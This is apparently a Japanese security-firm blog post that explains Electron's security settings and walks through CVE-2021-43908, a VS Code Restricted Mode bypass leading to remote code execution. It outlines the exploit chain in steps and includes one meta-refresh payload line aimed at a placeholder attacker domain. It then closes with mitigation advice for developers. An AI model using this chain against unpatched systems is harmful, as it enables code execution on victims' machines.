初めに
こんにちは。株式会社Flatt Security セキュリティエンジニアの石川です。
近年、クロスプラットフォームなデスクトップアプリケーションを作成する上で、Electronを採用することが選択肢の1つになってきています。
Electronの開発では、ライブラリとしてのElectronの実装と、その上にユーザーが構築するデスクトップアプリケーションの2つのコードが存在します。デスクトップアプリケーションの実装においても、メインプロセスとレンダラープロセス、サブフレームなど、考慮すべき概念が多数存在します。 そこで本稿では、Electronのアーキテクチャを意識しながら、実際に発見された脆弱性の傾向について考察することで、 Electron開発者が開発時に気を付けるべき点とその緩和策について、セキュリティの観点から記述していきます。
その上で、一例として、2022年のBlack Hatで発表された「ElectroVolt: Pwning Popular Desktop Apps While Uncovering New Attack Surface on Electron | Black Hat USA 2022」のうち、Visual Studio Code(以下、VS Code)で発見されたCVE-2021-43908
について解説します。
なお、弊社Flatt Securityでは昨日よりサマーインターンの募集を開始しました。 モダンな技術要素の脆弱性にも触れながら、Webアプリケーションのセキュリティ診断業務を体験できます。 ご興味のある学生の皆様は是非下記より詳細をご確認ください。
【Flatt Security サマーインターン募集開始!】
— 株式会社Flatt Security (@flatt_security) 2023年4月18日
Flatt Securityのセキュリティ診断(Webアプリケーション診断)にチャレンジしてみませんか?
期間中は第一線で活躍するセキュリティエンジニアたちが手厚くサポート。交流イベントも開催します。
▼詳細はこちらから▼https://t.co/6aHI1QbWXE pic.twitter.com/maYuBSn2Ux
- 初めに
- Electronとは
- Electronのセキュリティ機構
- VS Code における、Restricted Modeをバイパスした RCE (CVE-2021-43908)
- 詳細
- まとめ
- 参考文献
Electronとは
まずは、Electronについて馴染みがない開発者のために、Electronの概要を公式から引用します。
Electron は、JavaScript、HTML、CSS によるデスクトップアプリケーションを構築するフレームワークです。 Electron は Chromium と Node.js をバイナリに組み込むことで、単一の JavaScript コードベースを維持しつつ、ネイテイブ開発経験無しでも Windows、macOS、Linux で動作するクロスプラットフォームアプリを作成できます。
出典: はじめに | Electron
本稿においては、紹介する脆弱性を理解するため必要な前提知識や、その他、主要なセキュリティ的観点を除き、Electronに関する網羅的な解説は行いません。
Electronのセキュリティ機構
Electronにおけるセキュリティ観点は、主に以下の3つです。
- Node Integration
- Context Isolation
- Sandbox
この3つの機構だけでなく、それらが動作するElectronのプロセスモデルや、周辺知識についても記述していきます。
Electronのプロセスモデル
Electronアプリケーションには、1個のメインプロセスと1個以上のレンダラープロセスが存在しています。
メインプロセスでは、起動や終了といった、アプリケーション全体の挙動を制御し、レンダラープロセスはウインドウごとに存在します。
レンダラープロセスは、一見ブラウザのタブのようなものですが、セキュリティの観点で考えると、ブラウザの上で動作するアプリケーション(Webアプリケーション)よりも大きなリスクが存在しています。
Webアプリケーションの動作環境であるブラウザでは、強力なセキュリティ対策が施されており、Web開発者や利用者は、(更新をしている限り)その恩恵を受けられます。
詳しくは、『Webブラウザセキュリティ ― Webアプリケーションの安全性を支える仕組みを整理する』等を参照してください。
WebアプリケーションでXSSが発生した際は、そのプロセスはブラウザによってSandbox
化されているため、(ブラウザ自体の脆弱性を突かれた場合を除いて)その影響範囲は、同一オリジン内の情報に留まります。
一方で、Electronがブラウザと異なる点の一つとして、
設定値によるものの、レンダラープロセスからOSに直結する Node.js を使用できる(Node Integration
)という点が挙げられます。
したがって、レンダラープロセスにおいてXSSが発生した際に、RCE(Remote Code Execution
)に直結することを踏まえると、アーキテクチャの性質上、潜在的なリスクは通常のWebアプリケーションに比べて高いと言えます。
レンダラープロセスでは、Sandbox
や、Node.jsの利用(後述する Node Integration
)、コンテキストの分離等の設定が可能で、
それらの設定の有効/無効によって、考えられる攻撃のシナリオが異なります。
Preloadスクリプト
Preloadスクリプトは、レンダラープロセスが開始する際に読み込まれるスクリプトで、メインプロセスがレンダラープロセスと共有するオブジェクトやAPIを記述します。
後述するContext Isolation
が有効な場合には、レンダラープロセスに公開するNode.js APIを記述し、異なるコンテキスト間で、同期されたブリッジを作成することもできます。
Node Integration
Node Integration
とは、レンダラープロセスにおいて、Node.jsの実行を許可するかどうかの設定項目です。
Electron 5.0.0
以降のバージョンにおいては、デフォルトで無効になっています。
公式でも、セキュリティの観点から、この設定を無効にすることを推奨しています。
XSSはその性質上、攻撃者が自由にJavaScriptを実行可能になりますが、問題となるのは、この「攻撃者が実行可能な任意のスクリプトの影響範囲」です。
仮にこれがWebアプリケーションが動作するブラウザで発生したXSSであれば、ファイルシステムやシェルへのアクセスは、ブラウザにおけるセキュリティ機構によって阻まれるため、攻撃の影響範囲はある程度限定されます。ただし、ブラウザにおけるXSSが問題ないわけではありません。
また、ElectronアプリケーションであってもNode Integration
が無効になっている場合は、実行するNode.jsがないため、XSSされただけでRCE等に直結することはありません。
しかし、Node Integration
が有効な場合は、OSに直結するNode.jsの実行が可能になるため、攻撃者がXSSを成立させた場合、RCEに直結します。
とはいえ、公式の推奨に反して、さまざまな事情でレンダラープロセスに対してNode.jsの実行権限を与えたい場合も存在します。
その場合は、信頼できるコンテンツのみを実行させるか、あるいは、(現実的には難しいですが)表示するいかなるコンテンツにおいても、XSSを発生させない実装にすることが求められます。
参考: セキュリティ | Electron #2-リモートコンテンツで-nodejs-integration-を有効にしない
Context Isolation
次に、Context Isolation
についてです。
Context Isolation
とは、Preloadスクリプト及びElectronの内部ロジックが、
webContents
のコンテキストとは別のコンテキストで実行されることを保証する機能です。
例えば、Context Isolation
が有効な場合、Preloadスクリプトで window.hello = 'wave'
のように宣言したとしても、webContents
上における window.hello
の値は undefined
になります。コンテキストが分離されていることで、後述するPrototype Pollution
攻撃を防ぐことが可能になります。
その他の実際の動作例は、コンテキストの分離 | Electron #移行 に記述があるのでご覧ください。
Context Isolation
を有効にした場合、レンダラープロセスからPreloadスクリプトにアクセスするためには、
グローバルなwindowオブジェクトを通したアクセスではなく、contextBridge
と呼ばれるモジュールにAPIを登録し、contextBridge
経由でアクセスする必要があります。
contextBridge
を通すことで、公開されたAPIはレンダラープロセスのコンテキストにて実行されます。
contextBridge
を通して渡ってくる値は、不特定(悪意のあるユーザーを含む)のユーザーが発行する値である可能性があるため、contextBridge
を通せば完全に安全かというと当然そんなことはありません。
ですが、XSSが起きた際に、攻撃者がアクセス可能なオブジェクトを限定できるため、攻撃者の選択肢を大きく減らすことが可能になります。
公式は、セキュリティ推奨事項として、この設定を有効にすることを推奨しています。
Electron 12.0.0
以降のバージョンにおいては、デフォルトでContext Isolation
は有効になりました。
プロセス間通信 / IPC
上述したように、Electronには、1個のメインプロセスと1個以上のレンダラープロセスが存在しています。
レンダラープロセスとメインプロセスは、IPC
(Inter-Process Communication)を通して通信が可能です。
この際にメッセージは、開発者が定義したチャンネルを介して行われ、プロセス間通信を実現しています。
IPC
は、メインプロセスとレンダラープロセスとの通信に使用され、レンダラープロセス同士で直接通信することはできません。
レンダラープロセス同士で通信するためには、
- メインプロセスを経由する方法
- 両方のレンダラープロセスに対して、
MessagePort
を渡すことで、通信チャンネルを確立する方法
があります。
MessagePort
については、本稿の脆弱性に登場しないため、詳細な説明は省きます。
Sandbox
Sandbox
とは、プログラムを保護された領域で動作させることで、アプリケーションに与えられた権限を超えてプログラムが動作することを防ぐ仕組みです。
有名な実装として、Webブラウザが挙げられます。
Electronのレンダラープロセスは、イメージでいうならブラウザのタブのようなものですが、
設定によっては、XSSが発生した場合、通常のブラウザよりも甚大な被害をもたらす可能性が高いことをすでに書きました。
これは、通常のブラウザ(Chromium
等)では、メインプロセス以外のほとんどのプロセス(レンダラープロセスを含む)においてSandbox
機能が適用されるのに対して、
Electronでは、レンダラープロセスがデフォルトでSandbox
化されていないプロセスであることによるものです。
Electronにも、Sandbox
の機構が用意されており、これをレンダラープロセスにおいて有効にした場合、
特権的なタスクを実行するためには、IPCを介して、タスクをメインプロセスへ移譲しなければ動作しないように設定できます。
信頼できるソースのみを表示する場合はSandbox
化は不要ですが、
ほとんどの場合、信頼できないソースを表示する必要があるため、Sandbox
化を考慮する必要が出てきます。
一般的にElectronのレンダラープロセスをSandbox
化すると、ほとんど Chromium
と同じように動作しますが、Node.jsとのインターフェースも兼ねているため、その他にも考慮すべき点が存在します。
Electron 20.0.0
以降のバージョンにおいては、条件付きではありますが、デフォルトでSandbox
は有効になりました。(Stable Releases | Electron)
VS Code における、Restricted Modeをバイパスした RCE (CVE-2021-43908)
では、表題となっているCVE-2021-43908
について、解説していきます。
CVE-2021-43908
は、VS Codeにおいて、悪意のあるMarkdownファイルを、信頼しない状態、すなわちRestricted Modeで開いた場合でも、そのチェックを回避してRCEが機能する可能性がある脆弱性です。
Security Update Guide - Microsoft Security Response Center にてアナウンスがあるように、すでにこの脆弱性は修正済みです。
脆弱性発見当時のVS CodeにおけるElectronの設定値は以下のようになっていました。
Node Integration | True |
Context Isolation | False |
Sandbox | False |
この設定値では、レンダラープロセスでNode Integration
が有効になっているため、レンダラープロセスからNode APIを使用可能になっています。そのため、攻撃者はXSSを成立させるだけでRCEが可能になります。
さらに、Context Isolation
やSandbox
が、リスクのある設定値になっていることを踏まえると、(歴史的経緯など、さまざまな事情により)Electronのセキュリティの観点で見ると非常に緩い設定値と言えます。
参考: Security Update Guide - Microsoft Security Response Center
VS Codeでは、信頼できないソースとユーザーが指定した場合、コードを実行する拡張機能を停止させる(Trusted workspace)などの制限をかけます。 そのため、悪意のあるコードの場合でも、ある程度安全に閲覧や編集ができるようになっています。 しかし、Restricted Modeにも関わらず、攻撃者の作成した悪意あるMarkdownファイルを開くことで、XSSが発生し、RCEされる、というのが本脆弱性になります。
詳細
本脆弱性は、上述したように、Restricted Modeでも動作するため、「悪意のあるMarkdownファイルを、被害者に開かせる」ことで攻撃者はRCEを達成可能です。この攻撃の流れについて、大まかなシナリオを示したのちに、各フェーズがどのように動作しているかを解説していきます。
これ以降、脆弱性の被害者を「ユーザー」、脆弱性の加害者を「攻撃者」と呼称します。 また、攻撃用のフォルダ(ユーザーがダウンロードし展開するフォルダ)は以下のような構造になっています。
- PoCディレクトリ
- pwn.md
- test.html
大まかな攻撃の流れは以下です。
- 悪意のあるMarkdownファイルがユーザーのVS Code上で開かれる(pwn.md)
- プレビュー機能を開くと、
vscode-webview://
がサブフレームとして展開- styleタグによるリクエストを攻撃者ドメインに送信し、
vscode-webview://
が保持するIDが攻撃者に漏洩 - metaタグによって、pwn.mdのプレビューレンダリングが、Origin
http://攻撃者ドメイン
にリダイレクト
- styleタグによるリクエストを攻撃者ドメインに送信し、
- 手順2-2で生成されたサブフレームの中で、攻撃者が用意したサーバーにアクセス
- 攻撃者は、手順2-1で取得した
vscode-webview://
が保持するIDを用いて、手順2と同一のwebviewをiframeにて展開 - 攻撃者のOriginから
vscode-webview://
のiframeへpostMessageを実行 vscode-webview://
からvscode-file://
へ、postMessage経由でchannel: do-reload
を送信- 返り値として、
vscode-file://
のパスを攻撃者が取得 - 攻撃者が用意した、攻撃が書かれたファイル(test.html)への相対パスを生成
- 返り値として、
vscode-webview://
を手順6で生成したパスにリダイレクト- test.html中のJavaScriptが発火してRCE
では、それぞれの手順について述べていきます。
手順1
ユーザーが、攻撃者が用意した「PoCディレクトリ」をなんらかの方法で入手し、その中のpwn.mdをプレビューすることで攻撃は開始します。この際に、信頼できない第三者が作成したファイルであることをユーザーが考慮して、Restricted Modeで開いていたとしても、攻撃は動作します。
手順2
プレビュー機能を開くことで、VS Codeでは、vscode-webview://
が展開されます。
この手順を通して、vscode-webview://
内にてXSSを達成することを目指しています。
そのために、pwn.mdでは、<style>
タグのsrc属性を通して、vscode-webview://
が保持するExtension IDを攻撃者に漏洩させると共に、<meta>
タグのcontent属性を通して、CSPをバイパスします。
Extension IDとは、後述するvscode-webview://
のiframeを展開するために必要な文字列です。
<style>
タグのsrc属性として、攻撃者が保持するドメイン(http://攻撃者ドメイン
)を指定することで、この攻撃者ドメインへのリクエストの際に、Extension IDを含んだOriginヘッダーが付随するため、攻撃者にExtension IDが漏洩します。
次に、CSPの回避についてです。<meta>
タグとして、以下のように設定することで、http://攻撃者ドメイン
にリダイレクトされ、サブフレームが展開されます。
<meta http-equiv="refresh" content="3;url=https://攻撃者ドメイン/somefile.php" />
この結果、vscode-webview://
内のサブフレームのOriginはhttp://攻撃者ドメイン
の状態で処理は進みます。
手順3,4
手順2のCSPバイパスの際に攻撃者のドメインにリダイレクトし、サブフレームにてアクセスすることで、漏洩させたExtension IDの値が埋め込まれたJavaScriptを含むHTMLが返却されます。 そのJavaScriptを含むHTMLが、ユーザーのVS Code上で解釈されます。
攻撃者サーバーから返却されたHTMLでは、iframeの中に、手順1と同一のvscode-webview://
が展開しています。
手順5
ここまで来たら、攻撃者が用意した任意のJavaScriptを、postMessage経由でvscode-webview://
内にて実行可能です。
postMessageハンドラでは、クエリパラメータparentOriginの値を確認することで、そのメッセージが有効なOriginからのスクリプトであるかどうかを確認しています。 しかし、このクエリパラメータの値は、送信元Originが自由に指定可能であるため、この検証はバイパスされます。
したがって、vscode-webview://
に限った範囲でXSSが成立しています。
手順6,7
この手順では、vscode-webview://
から、vscode-file://
に対して制御を移し、RCEを達成することを目指します。
まずは、vscode-webview://
からvscode-file://
に対して、手順5と同様に、postMessageを実行します。vscode-file://
はvscode-webview://
とは異なり、message経由で任意のJavaScriptをレンダリングする訳ではないため、ここでは、channel: do-reload
を送信します。このmessageの返り値は、pwn.mdの絶対パスです。
vscode-file://
は、パスを指定してファイルをロードできますが、ここでのパスはVS Codeのインストールパス内のみに限られます。
インストールパスではないところに配置されている攻撃ファイル(test.html)を、vscode-file://
にロードさせることはできません。
VS Codeでは、Node Integration
が有効に設定されているため、この制限をバイパスできた時に、RCEが実現します。
そして、このvscode-file://
における、インストールパス内の制限は、たまたま存在したパストラーバサル脆弱性によりバイパス可能でした。
この手順の最初に述べたchannel: do-reload
の返り値として得られたパスに、このパストラバーサル脆弱性を用いて、インストールパスの相対パスとしてtest.htmlを指定します。
最後に、vscode-file://で、test.html
を開くようにリダイレクトします。
手順8
前述したように、VS Codeでは、Electronの設定値としてNode Integrationが有効になっています。そのため、test.htmlに記載のあるJavaScriptは、Node APIを呼び出し可能です。以上でRCEが達成されます。
まとめ
本稿における結論として、Electron開発時に気をつけるべき事項についてまとめます。
まず、初めに述べたように、Electronにおいては、プロセスモデルがWebブラウザに似てはいるものの、メインプロセスの設計上、Webブラウザと同じような意識で開発を行うことは非常に危険であり、 Electronを使用するのであれば、Electronのアーキテクチャの特性をしっかり理解することが必要です。
WebブラウザでXSSを発生させた場合には、せいぜいSandbox
化された環境の中で問題を発生させるに過ぎません。Sandbox
の外に攻撃対象を広げるためには、また別のExploitを見つける必要があります。
しかし、Electronの場合は、レンダラープロセスにNode APIが公開(Node Integration
が有効)されていた場合、
OSに直結したNode.js APIを使用できるため、問題の範囲を限定することが非常に難しいです。
すなわち、レンダラープロセスに対して、Node Integration
が有効になっていると、XSSが発生した場合にRCEまで到達される可能性が非常に高くなります。
そのため、Node Integration
だけでなく、Context Isolation
、 Sandbox
のようにさまざまな設定項目が用意されているため、可能な限りこれらを推奨値に設定することが重要です。
また、今回の場合は、Electronの上で実装されていたVS Code独自の検証機構が、偽装可能な値を信頼していたことや、パストラバーサルといった脆弱性があったことにより、RCEまで達してしまいました。Electronのセキュリティ機構を用いるのはもちろんのこと、こういった脆弱性を生まないよう、日々の開発で注意することも、同じように重要な事項であると言えます。
Flatt Securityではこれらの脆弱性の有無を専門のセキュリティエンジニアが検証するセキュリティ診断サービスを提供しています。 仕様・実装に不安のある方はぜひお気軽にお問い合わせください。
上記のデータが示すように、診断は幅広いご予算帯に応じて実施が可能です。ご興味のある方向けに下記バナーより料金に関する資料もダウンロード可能です。
また、Flatt Security はセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式 Twitter のフォローをぜひお願いします!
では、ここまでお読みいただきありがとうございました。